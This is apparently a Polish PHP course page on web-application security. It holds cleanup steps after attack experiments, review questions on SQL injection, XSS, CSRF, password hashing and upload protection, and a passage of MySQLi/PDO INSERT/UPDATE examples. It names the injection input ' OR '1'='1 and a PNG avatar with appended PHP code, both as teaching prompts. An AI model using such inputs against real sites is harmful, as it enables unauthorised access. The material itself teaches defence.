1. Usuń brudnopis.php, brudnopis2.php i (jeśli został) uploads/avatary/test.php. Pliki atak.html, atak2.html i ramka.html z pulpitu też usuń.
2. Sprawdź, że przywrócone są: kolejność htmlspecialchars(skrocOpis(...)) (Eksperyment 1), brak htmlspecialchars() przed dodajZadanie() (Eksperyment 2), sprawdzanie tokenu w usun-zadanie.php (Eksperyment 3), nazwa .htaccess (Test 8).
3. Uruchom ponownie sql/taskquest.sql i opróżnij uploads/avatary/ z plików avatar_... (.htaccess zostaje).
4. Zaloguj się jako Kama_2026 / KamaQuest26. diagnostyka.php — wszystko [OK].

Do samodzielnego sprawdzenia

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię pokazać atak SQL injection na sklejonym zapytaniu i wyjaśnić, dlaczego prepared statement go blokuje.
[ ] Potrafię sprawdzić projekt pod kątem sklejanych zapytań.
[ ] Wiem, co robi htmlspecialchars() i które wartości w TaskQuest muszą przez nią przejść.
[ ] Wiem, dlaczego escapuję przy wyświetlaniu, a nie przed zapisem do bazy, i dlaczego na samym końcu.
[ ] Potrafię wyjaśnić, jak obca strona wysyła formularz w imieniu zalogowanego gracza.
[ ] Wiem, skąd bierze się token CSRF, gdzie jest przechowywany i dlaczego obca strona go nie zna.
[ ] Wiem, dlaczego do haseł nie używa się md5() i dlaczego dwa hashe tego samego hasła są różne.
[ ] Potrafię zapisać hasło przez password_hash() i sprawdzić je przez password_verify().
[ ] Wiem, dlaczego logowanie ma jeden wspólny komunikat błędu.
[ ] Wiem, co robi .htaccess w katalogu avatarów.
[ ] Usunęłam/usunąłem brudnopisy i pliki ataków.

Pytania kontrolne

1. Kolega pisze: $zapytanie = $polaczenie->prepare("SELECT id FROM zadania WHERE tytul = '$tytul'");. „Używam prepare(), więc jestem bezpieczny”. Czy ma rację? Co trzeba poprawić?
   
2. Co dokładnie wyśle PHP do przeglądarki po <?= htmlspecialchars('<a href="x">Klik</a> & więcej'); ?> i co zobaczy gracz?
   
3. Termin zadania pochodzi z bazy, a formalnie nie wymaga escapowania. Dlaczego? Czy tak samo byłoby, gdyby kolumna termin była typu VARCHAR(20)?
   
4. Koleżanka escapuje tytuł przed zapisem do bazy i przy wyświetlaniu. Co zobaczy gracz, który doda zadanie Tom & Jerry? Co będzie w bazie?
   
5. Obca strona nie zna tokenu CSRF. A gdyby w TaskQuest była luka XSS, np. niezabezpieczony tytuł zadania? Czy token nadal by chronił? Uzasadnij.
   
6. W sprawdzTokenCsrf() ktoś usunął warunek !isset($_SESSION['token_csrf']). Co zobaczy gracz, któremu wygasła sesja, gdy wyśle formularz logowania? Dlaczego lepiej, żeby funkcja zwróciła wtedy false?
   
7. Baza TaskQuest wyciekła. Kama i Ola mają to samo hasło. Czy atakujący zauważy to, patrząc na kolumnę haslo_hash? A gdyby TaskQuest zapisywał md5($haslo)?
   

8. Znajdź co najmniej trzy błędy:

   $haslo = trim($_POST['haslo'] ?? '');
$dane = pobierzDaneLogowania($polaczenie, $login);
if ($dane['haslo_hash'] === password_hash($haslo, PASSWORD_DEFAULT)) {
$_SESSION['uzytkownik_id'] = $dane['id'];
}

9. Rejestracja pokazuje „Ten login jest już zajęty.”, więc i tak da się sprawdzić, czy login istnieje. Czy wspólny komunikat przy logowaniu ma w takim razie sens? Co jeszcze można zrobić, żeby utrudnić sprawdzanie loginów?
   
10. Gracz wgrywa prawdziwy obrazek PNG z doklejonym na końcu kodem PHP. TaskQuest zapisuje go jako avatar_3_1790000000.png. Czy ten kod się wykona bez .htaccess? A z .htaccess? Po co więc ten plik?
    

Artykuł 22. PHP – bezpieczeństwo aplikacji webowych pochodzi z serwisu Kama Kaczmarek.

Lekcja 18: połączenie z bazą, SELECT, prepared statements, SQL injection.

1. To zapytanie nie zwraca żadnego wiersza, choć w tabeli są zadania bez daty wykonania. Dlaczego i jak je poprawić?SELECT tytul FROM zadania WHERE data_wykonania = NULL;


2. Znajdź błąd:$zapytanie = $polaczenie->prepare("SELECT id, login FROM uzytkownicy WHERE login = '?'");
$zapytanie->bind_param('s', $login);


3. Zapytanie ma warunek WHERE uzytkownik_id = ? AND termin < ? AND xp >= ? (kolumny kolejno: liczba, data, liczba). Jaki będzie pierwszy argument bind_param()?

4. Co zwraca fetch_assoc(), gdy wiersze się skończyły? Czym różni się od num_rows?

5. Użytkownik wpisuje w pole wyszukiwania ' OR '1'='1. Co się stanie, gdy tekst zostanie wklejony do zapytania SQL, a co gdy trafi tam przez bind_param()?

6. wczytajUzytkownika($polaczenie, 99) zwraca null. Czy to awaria bazy? Uzasadnij.

TaskQuest

Dodatek

W poprzednim materiale nauczyłeś się pobierać dane z bazy używając zapytań SELECT. Teraz czas na operacje, które zmieniają dane:

• INSERT – dodawanie nowych rekordów (np. rejestracja gracza, dodanie posta)
• UPDATE – aktualizacja istniejących danych (np. zmiana poziomu, edycja profilu)
• DELETE – usuwanie rekordów (np. usunięcie konta, skasowanie komentarza)

Te operacje są fundamentem każdej aplikacji:

• Rejestracja użytkownika → INSERT
• Aktualizacja avatara → UPDATE
• Usunięcie spamu → DELETE
• System komentarzy → INSERT + UPDATE + DELETE

UWAGA: Operacje zmieniające dane są nieodwracalne! Zawsze używaj prepared statements i walidacji danych.

Będziemy pracować na bazie gaming_hub z poprzedniego materiału. Upewnij się, że masz utworzoną tabelę players

UWAGA: Przedstawione poniżej przykłady nie są zabezpieczone przed odświeżaniem strony (F5) lub ponownym kliknięciem przycisku zmieniającego dane. Każde odświeżenie strony będzie powodowało ponowne wykonanie operacji na bazie. Jak to zrobić opiszę na końcu materiału.

INSERT – Dodawanie nowych rekordów

Przykład 1: Rejestracja gracza (formularz POST)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$errors = [];
$success = false;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Pobieramy i czyszczenie dane z formularza
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $password = $_POST['password'] ?? '';
    $password_confirm = $_POST['password_confirm'] ?? '';
    
    // Walidacja danych
    if (empty($username)) {
        $errors[] = "Nick jest wymagany";
    } elseif (strlen($username) < 3) {
        $errors[] = "Nick musi mieć minimum 3 znaki";
    } elseif (strlen($username) > 50) {
        $errors[] = "Nick może mieć maksymalnie 50 znaków";
    } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
        $errors[] = "Nick może zawierać tylko litery, cyfry i podkreślnik";
    }
    
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors[] = "Hasło jest wymagane";
    } elseif (strlen($password) < 8) {
        $errors[] = "Hasło musi mieć minimum 8 znaków";
    }
    
    if ($password !== $password_confirm) {
        $errors[] = "Hasła nie są identyczne";
    }
    
    // Jeśli brak błędów walidacji - sprawdzamy czy nick/email już istnieją
    if (empty($errors)) {
        // BEZPIECZNE - sprawdzamy czy username już istnieje
        $stmt = $db->prepare("SELECT id FROM players WHERE username = ?");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Nick '{$username}' jest już zajęty";
        }
        $stmt->close();
        
        // BEZPIECZNE - sprawdzamy czy email już istnieje
        $stmt = $db->prepare("SELECT id FROM players WHERE email = ?");
        $stmt->bind_param("s", $email);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Email '{$email}' jest już zarejestrowany";
        }
        $stmt->close();
    }
    
    // Jeśli wszystko OK - dodajemy gracza do bazy
    if (empty($errors)) {
        // Hashowanie hasła (NIGDY nie zapisuj hasła w plain text!)
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        // BEZPIECZNE - INSERT z prepared statement
        $stmt = $db->prepare("INSERT INTO players (username, email, password, created_at) VALUES (?, ?, ?, NOW())");
        $stmt->bind_param("sss", $username, $email, $password_hash);
        
        if ($stmt->execute()) {
            // Pobieramy ID dodanego gracza
            $new_player_id = $stmt->insert_id;
            
            // Sprawdzamy ile wierszy zostało dodanych
            $affected_rows = $stmt->affected_rows;
            
            $success = true;
            $success_message = "Gracz '{$username}' został zarejestrowany! ID: {$new_player_id}";
            
            // Możemy od razu zalogować użytkownika
            // session_start();
            // $_SESSION['user_id'] = $new_player_id;
            // $_SESSION['username'] = $username;
            
        } else {
            $errors[] = "Wystąpił błąd podczas rejestracji: {$stmt->error}";
        }
        
        $stmt->close();
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja gracza</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 500px;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 12px;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Rejestracja Gracza</h1>
    
    <?php if ($success): ?>
        <div class="success">
            <?= htmlspecialchars($success_message) ?>
            <br><br>
            <a href="profil.php?id=<?= $new_player_id ?>">Zobacz profil</a> | 
            <a href="lista_graczy.php">Lista graczy</a>
        </div>
    <?php endif; ?>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <div class="form-group">
            <label>Nick gracza:</label>
            <input type="text" name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" 
                   placeholder="np. ProGamer123" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($_POST['email'] ?? '') ?>" 
                   placeholder="twoj@email.com" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Powtórz hasło:</label>
            <input type="password" name="password_confirm" 
                   placeholder="Powtórz hasło" 
                   required>
        </div>
        
        <button type="submit">Zarejestruj się</button>
        
        <div class="info">
            <strong>Wymagania:</strong><br>
            • Nick: 3-50 znaków (litery, cyfry, podkreślnik)<br>
            • Hasło: minimum 8 znaków<br>
            • Poprawny format email
        </div>
    </form>
</div>

</body>
</html>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $errors = [];
    $success = false;
    
    // PROFESJONALNE - sprawdzamy metodę HTTP
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Pobieramy i czyszczenie dane z formularza
        $username = trim($_POST['username'] ?? '');
        $email = trim($_POST['email'] ?? '');
        $password = $_POST['password'] ?? '';
        $password_confirm = $_POST['password_confirm'] ?? '';
        
        // Walidacja danych
        if (empty($username)) {
            $errors[] = "Nick jest wymagany";
        } elseif (strlen($username) < 3) {
            $errors[] = "Nick musi mieć minimum 3 znaki";
        } elseif (strlen($username) > 50) {
            $errors[] = "Nick może mieć maksymalnie 50 znaków";
        } elseif (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
            $errors[] = "Nick może zawierać tylko litery, cyfry i podkreślnik";
        }
        
        if (empty($email)) {
            $errors[] = "Email jest wymagany";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors[] = "Nieprawidłowy format email";
        }
        
        if (empty($password)) {
            $errors[] = "Hasło jest wymagane";
        } elseif (strlen($password) < 8) {
            $errors[] = "Hasło musi mieć minimum 8 znaków";
        }
        
        if ($password !== $password_confirm) {
            $errors[] = "Hasła nie są identyczne";
        }
        
        // Jeśli brak błędów walidacji - sprawdzamy czy nick/email już istnieją
        if (empty($errors)) {
            // BEZPIECZNE - sprawdzamy czy username już istnieje
            $stmt = $pdo->prepare("SELECT id FROM players WHERE username = :username");
            $stmt->execute(['username' => $username]);
            
            if ($stmt->fetch()) {
                $errors[] = "Nick '{$username}' jest już zajęty";
            }
            
            // BEZPIECZNE - sprawdzamy czy email już istnieje
            $stmt = $pdo->prepare("SELECT id FROM players WHERE email = :email");
            $stmt->execute(['email' => $email]);
            
            if ($stmt->fetch()) {
                $errors[] = "Email '{$email}' jest już zarejestrowany";
            }
        }
        
        // Jeśli wszystko OK - dodajemy gracza do bazy
        if (empty($errors)) {
            // Hashowanie hasła (NIGDY nie zapisuj hasła w plain text!)
            $password_hash = password_hash($password, PASSWORD_DEFAULT);
            
            // BEZPIECZNE - INSERT z prepared statement
            $stmt = $pdo->prepare("INSERT INTO players (username, email, password, created_at) VALUES (:username, :email, :password, NOW())");
            
            if ($stmt->execute([
                'username' => $username,
                'email' => $email,
                'password' => $password_hash
            ])) {
                // Pobieramy ID dodanego gracza
                $new_player_id = $pdo->lastInsertId();
                
                // Sprawdzamy ile wierszy zostało dodanych
                $affected_rows = $stmt->rowCount();
                
                $success = true;
                $success_message = "Gracz '{$username}' został zarejestrowany! ID: {$new_player_id}";
                
                // Możemy od razu zalogować użytkownika
                // session_start();
                // $_SESSION['user_id'] = $new_player_id;
                // $_SESSION['username'] = $username;
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    $errors[] = "Wystąpił błąd podczas rejestracji. Spróbuj ponownie.";
}

$pdo = null;
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja gracza</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 500px;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 12px;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Rejestracja Gracza</h1>
    
    <?php if ($success): ?>
        <div class="success">
            <?= htmlspecialchars($success_message) ?>
            <br><br>
            <a href="profil.php?id=<?= $new_player_id ?>">Zobacz profil</a> | 
            <a href="lista_graczy.php">Lista graczy</a>
        </div>
    <?php endif; ?>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <div class="form-group">
            <label>Nick gracza:</label>
            <input type="text" name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" 
                   placeholder="np. ProGamer123" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($_POST['email'] ?? '') ?>" 
                   placeholder="twoj@email.com" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required>
        </div>
        
        <div class="form-group">
            <label>Powtórz hasło:</label>
            <input type="password" name="password_confirm" 
                   placeholder="Powtórz hasło" 
                   required>
        </div>
        
        <button type="submit">Zarejestruj się</button>
        
        <div class="info">
            <strong>Wymagania:</strong><br>
            • Nick: 3-50 znaków (litery, cyfry, podkreślnik)<br>
            • Hasło: minimum 8 znaków<br>
            • Poprawny format email
        </div>
    </form>
</div>

</body>
</html>

Sprawdzanie wyniku operacji INSERT

Metody sprawdzania dla MySQLi:

// 1. Pobierz ID ostatnio dodanego rekordu
$new_id = $stmt->insert_id;  // Obiektowo
$new_id = mysqli_insert_id($db);  // Proceduralnie

// 2. Sprawdź ile wierszy zostało dodanych
$affected_rows = $stmt->affected_rows;  // Obiektowo
$affected_rows = mysqli_affected_rows($db);  // Proceduralnie

// 3. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    echo "Sukces!";
} else {
    echo "Błąd: {$stmt->error}";
}

Metody sprawdzania dla PDO:

// 1. Pobierz ID ostatnio dodanego rekordu
$new_id = $pdo->lastInsertId();

// 2. Sprawdź ile wierszy zostało dodanych
$affected_rows = $stmt->rowCount();

// 3. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    echo "Sukces!";
} else {
    echo "Błąd!";
}

// 4. Obsługa wyjątków (try-catch)
try {
    $stmt->execute();
    echo "Sukces!";
} catch (PDOException $e) {
    echo "Błąd: {$e->getMessage()}";
}

Przykład 2: Dodawanie wielu graczy naraz (batch INSERT)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// Tablica graczy do dodania
$gracze = [
    ['username' => 'TestPlayer1', 'email' => 'test1@example.com', 'level' => 5],
    ['username' => 'TestPlayer2', 'email' => 'test2@example.com', 'level' => 10],
    ['username' => 'TestPlayer3', 'email' => 'test3@example.com', 'level' => 15]
];

// BEZPIECZNE - przygotowanie zapytania raz
$stmt = $db->prepare("INSERT INTO players (username, email, level, created_at) VALUES (?, ?, ?, NOW())");

$dodano = 0;
$bledy = [];

foreach ($gracze as $gracz) {
    // Bindowanie parametrów
    $stmt->bind_param("ssi", $gracz['username'], $gracz['email'], $gracz['level']);
    
    if ($stmt->execute()) {
        $dodano++;
        
        // Możesz pobrać ID każdego dodanego gracza
        $last_id = $stmt->insert_id;
        echo "Dodano: {$gracz['username']} (ID: {$last_id})<br>";
    } else {
        $bledy[] = "Błąd dla {$gracz['username']}: {$stmt->error}";
    }
}

echo "<br><strong>Podsumowanie:</strong><br>";
echo "Dodano: {$dodano} graczy<br>";
echo "Błędów: " . count($bledy) . "<br>";

if (!empty($bledy)) {
    echo "<br><strong>Szczegóły błędów:</strong><br>";
    foreach ($bledy as $blad) {
        echo "{$blad}<br>";
    }
}

$stmt->close();
$db->close();
?>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    // Tablica graczy do dodania
    $gracze = [
        ['username' => 'TestPlayer1', 'email' => 'test1@example.com', 'level' => 5],
        ['username' => 'TestPlayer2', 'email' => 'test2@example.com', 'level' => 10],
        ['username' => 'TestPlayer3', 'email' => 'test3@example.com', 'level' => 15]
    ];
    
    // BEZPIECZNE - przygotowanie zapytania raz
    $stmt = $pdo->prepare("INSERT INTO players (username, email, level, created_at) VALUES (:username, :email, :level, NOW())");
    
    $dodano = 0;
    $bledy = [];
    
    foreach ($gracze as $gracz) {
        try {
            $stmt->execute($gracz);
            $dodano++;
            
            // Możesz pobrać ID każdego dodanego gracza
            $last_id = $pdo->lastInsertId();
            echo "Dodano: {$gracz['username']} (ID: {$last_id})<br>";
            
        } catch (PDOException $e) {
            $bledy[] = "Błąd dla {$gracz['username']}: {$e->getMessage()}";
        }
    }
    
    echo "<br><strong>Podsumowanie:</strong><br>";
    echo "Dodano: {$dodano} graczy<br>";
    echo "Błędów: " . count($bledy) . "<br>";
    
    if (!empty($bledy)) {
        echo "<br><strong>Szczegóły błędów:</strong><br>";
        foreach ($bledy as $blad) {
            echo "{$blad}<br>";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

UPDATE – Aktualizacja istniejących rekordów

Przykład 3: Edycja profilu gracza (formularz POST)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$errors = [];
$success = false;
$gracz = null;

// Pobieramy ID gracza z URL
$player_id = (int)($_GET['id'] ?? 0);

if ($player_id <= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobieramy dane gracza do wyświetlenia w formularzu
$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();

if (!$gracz) {
    die('Nie znaleziono gracza o ID: ' . $player_id);
}

// PROFESJONALNE - sprawdzamy metodę HTTP
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $email = trim($_POST['email'] ?? '');
    $level = (int)($_POST['level'] ?? 1);
    $coins = (int)($_POST['coins'] ?? 0);
    $rank_name = $_POST['rank_name'] ?? 'Bronze';
    
    // Walidacja danych
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Nieprawidłowy format email";
    }
    
    if ($level < 1 || $level > 100) {
        $errors[] = "Poziom musi być między 1 a 100";
    }
    
    if ($coins < 0) {
        $errors[] = "Coins nie może być ujemny";
    }
    
    $allowed_ranks = ['Bronze', 'Silver', 'Gold', 'Platinum', 'Diamond', 'Master', 'Grandmaster'];
    if (!in_array($rank_name, $allowed_ranks)) {
        $errors[] = "Nieprawidłowa ranga";
    }
    
    // Sprawdzamy czy email nie jest już używany przez innego gracza
    if (empty($errors)) {
        $stmt = $db->prepare("SELECT id FROM players WHERE email = ? AND id != ?");
        $stmt->bind_param("si", $email, $player_id);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Email '{$email}' jest już używany przez innego gracza";
        }
        $stmt->close();
    }
    
    // Jeśli brak błędów - aktualizujemy dane
    if (empty($errors)) {
        // BEZPIECZNE - UPDATE z prepared statement
        $stmt = $db->prepare("UPDATE players SET email = ?, level = ?, coins = ?, rank_name = ?, updated_at = NOW() WHERE id = ?");
        $stmt->bind_param("siisi", $email, $level, $coins, $rank_name, $player_id);
        
        if ($stmt->execute()) {
            // Sprawdzamy ile wierszy zostało zaktualizowanych
            $affected_rows = $stmt->affected_rows;
            
            if ($affected_rows > 0) {
                $success = true;
                $success_message = "Profil gracza '{$gracz['username']}' został zaktualizowany! (Zmieniono {$affected_rows} rekord)";
                
                // Odświeżamy dane gracza
                $stmt_refresh = $db->prepare("SELECT * FROM players WHERE id = ?");
                $stmt_refresh->bind_param("i", $player_id);
                $stmt_refresh->execute();
                $wynik_refresh = $stmt_refresh->get_result();
                $gracz = $wynik_refresh->fetch_assoc();
                $stmt_refresh->close();
            } else {
                $success_message = "Nie wprowadzono żadnych zmian (dane są identyczne)";
            }
        } else {
            $errors[] = "Wystąpił błąd podczas aktualizacji: {$stmt->error}";
        }
        
        $stmt->close();
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Edycja profilu - <?= htmlspecialchars($gracz['username']) ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
        }
        h1 {
            margin-bottom: 10px;
            color: #333;
        }
        .subtitle {
            color: #666;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input, select {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus, select:focus {
            outline: none;
            border-color: #667eea;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info-box {
            background: #e7f3ff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #2196F3;
        }
        .back-link {
            display: inline-block;
            margin-top: 20px;
            color: #667eea;
            text-decoration: none;
        }
        .back-link:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Edycja profilu gracza</h1>
    <div class="subtitle">ID: <?= $gracz['id'] ?> | Nick: <strong><?= htmlspecialchars($gracz['username']) ?></strong></div>
    
    <?php if ($success): ?>
        <div class="success">
            <?= htmlspecialchars($success_message) ?>
        </div>
    <?php endif; ?>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <div class="info-box">
        <strong>Informacje:</strong><br>
        • Nick gracza nie może być edytowany (to unikalna nazwa)<br>
        • Hasło można zmienić w osobnej sekcji zabezpieczeń<br>
        • Data rejestracji: <?= date('d.m.Y H:i', strtotime($gracz['created_at'])) ?>
    </div>
    
    <form method="POST">
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($gracz['email']) ?>" 
                   required>
        </div>
        
        <div class="form-row">
            <div class="form-group">
                <label>Poziom (1-100):</label>
                <input type="number" name="level" 
                       min="1" max="100"
                       value="<?= $gracz['level'] ?>" 
                       required>
            </div>
            
            <div class="form-group">
                <label>Coins:</label>
                <input type="number" name="coins" 
                       min="0"
                       value="<?= $gracz['coins'] ?>" 
                       required>
            </div>
        </div>
        
        <div class="form-group">
            <label>Ranga:</label>
            <select name="rank_name" required>
                <option value="Bronze" <?= $gracz['rank_name'] == 'Bronze' ? 'selected' : '' ?>>Bronze</option>
                <option value="Silver" <?= $gracz['rank_name'] == 'Silver' ? 'selected' : '' ?>>Silver</option>
                <option value="Gold" <?= $gracz['rank_name'] == 'Gold' ? 'selected' : '' ?>>Gold</option>
